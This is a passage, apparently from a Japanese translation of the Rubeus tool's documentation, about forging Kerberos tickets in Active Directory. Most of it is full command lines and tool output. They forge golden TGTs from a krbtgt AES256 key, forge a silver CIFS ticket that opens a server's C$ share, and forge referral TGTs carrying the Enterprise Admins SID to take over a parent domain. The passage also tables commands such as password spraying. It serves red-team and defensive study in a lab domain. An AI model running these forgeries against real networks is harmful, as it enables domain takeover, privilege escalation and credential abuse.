[*] RenewTill : 05/08/2021 00:18:19
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
異なる日に開始し、開始時刻の間隔が 1 日で、最初のチケットは現在から開始し、LDAP を使用して PAC 情報を取得する 5 つの TGT を偽造:
C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /user:harmj0y /rangeend:5d /rangeinterval:1d
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGT
[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=harmj0y)'
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC
[*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1106
[*] Groups : 513
[*] ServiceKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : rubeus.ghostpack.local
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 29/07/2021 00:22:38
[*] StartTime : 29/07/2021 00:22:38
[*] EndTime : 29/07/2021 10:22:38
[*] RenewTill : 05/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 30/07/2021 00:22:38
[*] StartTime : 30/07/2021 00:22:38
[*] EndTime : 30/07/2021 10:22:38
[*] RenewTill : 06/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 31/07/2021 00:22:38
[*] StartTime : 31/07/2021 00:22:38
[*] EndTime : 31/07/2021 10:22:38
[*] RenewTill : 07/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 01/08/2021 00:22:38
[*] StartTime : 01/08/2021 00:22:38
[*] EndTime : 01/08/2021 10:22:38
[*] RenewTill : 08/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 02/08/2021 00:22:38
[*] StartTime : 02/08/2021 00:22:38
[*] EndTime : 02/08/2021 10:22:38
[*] RenewTill : 09/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
silver アクションは、ユーザー /user:X とサービス /service:SPN のチケットを偽造し、/des:X、/rc4:X、/aes128:X または /aes256:X で渡されたハッシュでチケットを暗号化し、同じキーを使用して ServerChecksum を作成します。/krbkey:X 引数が渡された場合、それが KDCChecksum と TicketChecksum の作成に使用されます (サービスが krbtgt/domain.com でない場合、または domain.com がチケット内で使用されているレルムと異なる場合、つまり referral チケットの場合)。そうでない場合は、チケットの暗号化に使用されたのと同じキーが使用されます。krbenctype:X が渡されない場合、サービスキーと同じ暗号化タイプが KDCChecksum と TicketChecksum に使用されると見なされます。
/cname:X および /crealm:X 引数を使用すると、EncTicketPart (チケットの暗号化部分) 内のこれらのフィールドに異なる値を設定できます。これは referral 委任チケットで見られることがあります。/s4uproxytarget:X および /s4utransitedservices:SPN1,SPN2,... 引数を渡すことで、S4UDelegationInfo PAC セクションを追加できます。このセクションは、委任の最終ターゲットと、委任が経由した SPN のリストを提供します。/authdata フラグを使用すると、EncTicketPart に一般的な Authorization Data セクションを追加できます。デフォルトでは、これには KERB-LOCAL セクションと、いくつかのデフォルト値を持つ KERB-AD-RESTRICTION-ENTRY セクションが含まれます。
/nofullpacsig フラグは、CVE-2022-37967 脆弱性を解決するために導入された新しい FullPacChecksum を除外します。この署名は、krbtgt キーで保護されていないすべてのチケットにデフォルトで含まれます。
ユーザー ccob の cifs/SQL1.rubeus.ghostpack.local へのサービスチケットを、サービスの RC4 パスワードハッシュを使用し、適切な KRBTGT AES256 キーで KDCChecksum と TicketChecksum に署名して偽造し、LDAP を代替資格情報で使用して PAC 情報を取得する例:
C:\Rubeus>dir \\SQL1.rubeus.ghostpack.local\c$
The user name or password is incorrect.
C:\Rubeus>Rubeus.exe silver /service:cifs/SQL1.rubeus.ghostpack.local /rc4:f74b07eb77caa52b8d227a113cb649a6 /ldap /creduser:rubeus.ghostpack.local\Administrator /credpassword:Password1 /user:ccob /krbkey:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /krbenctype:aes256 /domain:rubeus.ghostpack.local /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGS
[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=ccob)'
[*] Retrieving group and domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(distinguishedname=CN=Domain Admins,CN=Users,DC=rubeus,DC=ghostpack,DC=local)(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[!] Unable to query forest root using System.DirectoryServices.ActiveDirectory.Forest, assuming rubeus.ghostpack.local is the forest root
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC
[*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1109
[*] Groups : 512,513
[*] ServiceKey : F74B07EB77CAA52B8D227A113CB649A6
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : cifs
[*] Target : SQL1.rubeus.ghostpack.local
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGS for 'ccob' to 'cifs/SQL1.rubeus.ghostpack.local'
[*] AuthTime : 29/07/2021 01:00:23
[*] StartTime : 29/07/2021 01:00:23
[*] EndTime : 29/07/2021 11:00:23
[*] RenewTill : 05/08/2021 01:00:23
[*] base64(ticket.kirbi):
doIFZTCCBWGgAwIBBaEDAgEWooIESDCCBERhggRAMIIEPKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
bG9jYWw=
[+] Ticket successfully imported!
C:\Rubeus>dir \\SQL1.rubeus.ghostpack.local\c$
Volume in drive \\SQL1.rubeus.ghostpack.local\c$ has no label.
Volume Serial Number is 1AD6-20BE
Directory of \\SQL1.rubeus.ghostpack.local\c$
15/09/2018 08:19 <DIR> PerfLogs
20/07/2021 18:17 <DIR> Program Files
20/07/2021 18:17 <DIR> Program Files (x86)
21/07/2021 01:53 <DIR> Rubeus
20/07/2021 21:02 <DIR> temp
20/07/2021 22:31 <DIR> Users
20/07/2021 18:18 <DIR> Windows
0 File(s) 0 bytes
7 Dir(s) 124,275,159,040 bytes free
信頼関係のあるドメインの紹介 TGT を偽造し、LDAP を使用して PAC 情報を取得する例:
C:\Rubeus>Rubeus.exe silver /user:exploitph /ldap /service:krbtgt/dev.rubeus.ghostpack.local /rc4:856a1023055848748e7b9d505ebe0e02
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGS
[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=exploitph)'
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC
[*] Domain : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1104
[*] Groups : 513
[*] ServiceKey : 856A1023055848748E7B9D505EBE0E02
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey : 856A1023055848748E7B9D505EBE0E02
[*] KDCKeyType : KERB_CHECKSUM_HMAC_MD5
[*] Service : krbtgt
[*] Target : dev.rubeus.ghostpack.local
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 29/07/2021 02:45:54
[*] StartTime : 29/07/2021 02:45:54
[*] EndTime : 29/07/2021 12:45:54
[*] RenewTill : 05/08/2021 02:45:54
[*] base64(ticket.kirbi):
doIFojCCBZ6gAwIBBaEDAgEWooIEfjCCBHphggR2MIIEcqADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
LmxvY2Fs
このチケットは、asktgs を使用して信頼関係のあるドメインのサービスチケットを要求するために使用できます:
C:\Rubeus>Rubeus.exe asktgs /service:cifs/devdc1.dev.rubeus.ghostpack.local /dc:devdc1.dev.rubeus.ghostpack.local /ticket:doIFojCCBZ6gAwIBBaE...(snip)...NrLmxvY2Fs
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: devdc1.dev.rubeus.ghostpack.local (192.168.71.85)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'cifs/devdc1.dev.rubeus.ghostpack.local'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFrzCCBaugAwIBBaEDAgEWooIEgzCCBH9hggR7MIIEd6ADAgEFoRwbGkRFVi5SVUJFVVMuR0hPU1RQ
...(snip)...
ZXVzLmdob3N0cGFjay5sb2NhbA==
ServiceName : cifs/devdc1.dev.rubeus.ghostpack.local
ServiceRealm : DEV.RUBEUS.GHOSTPACK.LOCAL
UserName : exploitph
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 29/07/2021 02:51:05
EndTime : 29/07/2021 12:45:54
RenewTill : 05/08/2021 02:45:54
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : v1Bnp3plKCePeRpg1hrtYkI7bPDk6vw5uoj5MBNSThw=
[email protected] の親ドメイン rubeus.ghostpack.local への紹介 TGT を偽造し、Enterprise Admins グループの SID を含める例:
C:\Rubeus>Rubeus.exe silver /user:dev.ccob /ldap /service:krbtgt/rubeus.ghostpack.local /rc4:856a1023055848748e7b9d505ebe0e02 /sids:S-1-5-21-3237111427-1607930709-3979055039-519 /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Build TGS
[*] Trying to query LDAP using LDAPS for user information on domain controller DevDC1.dev.rubeus.ghostpack.local
[*] Searching path 'DC=dev,DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=dev.ccob)'
[*] Retrieving domain policy information over LDAP from domain controller DevDC1.dev.rubeus.ghostpack.local
[*] Searching path 'DC=dev,DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-2065789546-4129202522-221898516-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\devdc1.dev.rubeus.ghostpack.local\SYSVOL
[*] \\devdc1.dev.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\devdc1.dev.rubeus.ghostpack.local\SYSVOL
[*] \\devdc1.dev.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller DevDC1.dev.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=dev.rubeus.ghostpack.local))'
[*] Building PAC
[*] Domain : DEV.RUBEUS.GHOSTPACK.LOCAL (DEV)
[*] SID : S-1-5-21-2065789546-4129202522-221898516
[*] UserId : 1107
[*] Groups : 513
[*] ExtraSIDs : S-1-5-21-3237111427-1607930709-3979055039-519
[*] ServiceKey : 856A1023055848748E7B9D505EBE0E02
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey : 856A1023055848748E7B9D505EBE0E02
[*] KDCKeyType : KERB_CHECKSUM_HMAC_MD5
[*] Service : krbtgt
[*] Target : rubeus.ghostpack.local
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'
[*] AuthTime : 29/07/2021 03:03:34
[*] StartTime : 29/07/2021 03:03:34
[*] EndTime : 29/07/2021 13:03:34
[*] RenewTill : 05/08/2021 03:03:34
[*] base64(ticket.kirbi):
doIF0TCCBc2gAwIBBaEDAgEWooIEqTCCBKVhggShMIIEnaADAgEFoRwbGkRFVi5SVUJFVVMuR0hPU1RQ
...(snip)...
G9zdHBhY2subG9jYWw=
この紹介 TGT は、asktgs コマンドを使用して rubeus.ghostpack.local のサービスに対するサービスチケットを要求し、Enterprise Admins グループの特権を取得するために使用できます:
C:\Rubeus>Rubeus.exe asktgs /service:cifs/pdc1.rubeus.ghostpack.local /dc:pdc1.rubeus.ghostpack.local /ptt /ticket:doIF0TCCBc2gAwIBBaE...(snip)...cy5naG9zdHBhY2subG9jYWw=
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: pdc1.rubeus.ghostpack.local (192.168.71.80)
| コマンド | 説明 |
|---|
| asktgt | ハッシュ/キーまたはパスワードからチケット発行チケット(TGT)を要求 |
| asktgs | 渡されたTGTからサービスチケットを要求 |
| renew | TGTまたはサービスチケットを更新(または自動更新) |
| brute | Kerberosベースのパスワードブルートフォース攻撃を実行。'spray' も 'brute' の代わりに使用可能 |
| preauthscan | Kerberos事前認証を必要としないアカウントのスキャンを実行 |
| 引数 | 説明 |
|---|
| /authtime | EncTicketPart の authtime フィールドを設定します。現地時間形式 - 自動的に UTC に変換されます (デフォルト: 現在時刻) |
| /starttime | EncTicketPart の starttime フィールドを設定します。現地時間形式 - 自動的に UTC に変換されます (デフォルト: 現在時刻) |
| /endtime | EncTicketPart の endtime フィールドを設定します。これは starttime からの相対時間で、乗数と時間範囲の形式で指定します。例えば 5 日なら 5d です。詳細な形式については後述します (デフォルト: 10h) |
| /renewtill | EncTicketPart の renew-till フィールドを設定します。これは starttime からの相対時間で、乗数と時間範囲の形式で指定します。例えば 5 日なら 5d です。詳細な形式については後述します (デフォルト: 7d) |
| /rangeend | これは異なる開始時刻を持つ複数のチケットを作成するためのものです。これは最後の starttime で、/starttime からの相対時間で、乗数と時間範囲の形式で指定します。例えば 5 日なら 5d です。詳細な形式については後述します |
| /rangeinterval | これは異なる開始時刻を持つ複数のチケットを作成するためのものです。これは各 starttime の間隔で、乗数と時間範囲の形式で指定します。例えば 5 日なら 5d です。詳細な形式については後述します |
| /flags | EncTicketPart 内のチケットフラグを設定します (デフォルト: forwardable,renewable,pre_authent、golden の場合は initial も含む) |
| /extendedupndns | 新しい拡張 UpnDns (samaccountname とアカウント SID を含む) を含めます |